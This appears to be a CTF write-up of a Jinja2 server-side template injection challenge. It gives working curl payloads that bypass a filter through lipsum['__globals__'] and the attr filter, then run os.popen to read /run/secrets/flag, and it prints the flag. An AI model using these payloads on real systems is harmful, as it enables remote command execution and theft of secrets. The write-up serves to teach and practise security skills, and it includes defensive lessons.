In this write-up
These notes document the October 2026 CTF challenge. Commands, addresses and outputs refer to the supplied challenge environment.
1. Challenge Overview#
The challenge page presents a simple form:
<form>
<input name=greeting placeholder='Your greeting'>
<button>Weave</button>
</form>
The hint text reads:
Jinja-powered invitations. Staff dispatch: /run/secrets/flag
This immediately suggests a Server-Side Template Injection (SSTI) vulnerability in a Jinja2 template, with the goal of reading /run/secrets/flag.
2. Initial Recon#
Fetch the main page and inspect the headers:
curl -i -s 'https://challenges.tibeb.org/677a519f-3ad9-4a66-8c61-84511103cf44/'
Relevant response headers:
content-security-policy: sandbox allow-forms; default-src 'none'; ...
server: cloudflare
The form uses GET with parameter greeting. No other endpoints were found (robots.txt, sitemap.xml, .git/HEAD all 404).
3. Confirming Jinja2 SSTI#
Test basic arithmetic:
curl -sG "$BASE" --data-urlencode 'greeting={{7*7}}'
Response contains <pre>49</pre> → template injection confirmed.
Test Jinja-specific string multiplication:
curl -sG "$BASE" --data-urlencode 'greeting={{7*"7"}}'
Response contains <pre>7777777</pre> → Jinja2 SSTI.
4. The Filter and the Tricky Bypass#
4.1 A direct attribute payload is rejected#
Attempt to dump the Flask config:
curl -sG "$BASE" --data-urlencode 'greeting={{config}}'
Response: <pre></pre> (empty). Likely filtered or not exposed.
Attempt to access __globals__ via a normal attribute:
curl -sG "$BASE" --data-urlencode 'greeting={{url_for.__globals__}}'
Response: Request could not be processed.
This records a rejected payload. The response alone does not establish the exact filtering rule.
4.2 Bypass using subscript notation#
Use dictionary-style subscript instead of attribute access:
curl -sG "$BASE" --data-urlencode 'greeting={{lipsum["__globals__"]}}'
This works and dumps the entire jinja2.utils globals dictionary. The lipsum global is a Jinja2 utility function. In this environment its globals expose os and a builtins mapping containing open.
4.3 Another working bypass: attr filter#
curl -sG "$BASE" --data-urlencode 'greeting={{lipsum|attr("__globals__")}}'
This also returned the globals dictionary in the recorded test. These observations compare accepted and rejected access forms without proving a universal blacklist rule.
4.4 Why one payload failed#
This payload returned Request could not be processed.:
{{lipsum|attr("__globals__")|attr("__getitem__")("os").popen("cat /run/secrets/flag").read()}}
The exact reason for this rejection was not established. The simpler subscript form provided a recorded working alternative.
5. Exploitation — Reading the Flag#
Using the subscript bypass, we can reach the os module and execute commands:
curl -sG "$BASE" --data-urlencode 'greeting={{lipsum["__globals__"]["os"].popen("cat /run/secrets/flag").read()}}'
Response:
<pre>tibeb{loom_ce82addc3d9a84b6a9dd}</pre>
Alternative payload using built-in open:
curl -sG "$BASE" --data-urlencode 'greeting={{lipsum["__globals__"]["__builtins__"]["open"]("/run/secrets/flag").read()}}'
Same flag obtained.
6. Flag#
tibeb{loom_ce82addc3d9a84b6a9dd}
7. Tricky Parts & Lessons Learned#
-
Filter bypass is key
One direct-access payload was rejected while the shown subscript payload succeeded. Test the actual access forms rather than inferring a complete filtering policy from one response. -
lipsumis a powerful Jinja2 global
lipsum(and similar globals likecycler,joiner,namespace) are available by default in Jinja2. Their__globals__often leak theosmodule and builtins, making them excellent SSTI pivots. -
Multiple bypass techniques
- Subscript:
lipsum["__globals__"] attrfilter:lipsum|attr("__globals__")- Avoid chaining multiple
attrfilters or using__getitem__if the WAF blocks those patterns.
- Subscript:
-
Read the hints
The challenge description explicitly mentioned “Jinja-powered” and/run/secrets/flag, pointing directly to SSTI and the target file. -
CSP does not stop SSTI
The strict Content-Security-Policy only affects client-side execution; server-side template injection remains fully exploitable. -
Observed response headers are not an application fix
The supplied notes show a successful SSTI response despite those headers. The underlying fix is to keep untrusted input out of template source and restrict the exposed context.
8. Conclusion#
This challenge demonstrates Jinja2 SSTI and a successful subscript-based access path. The recorded payloads reach the utility function’s globals and read the challenge flag. The observed filtering behavior is specific to this environment.
Flag: tibeb{loom_ce82addc3d9a84b6a9dd}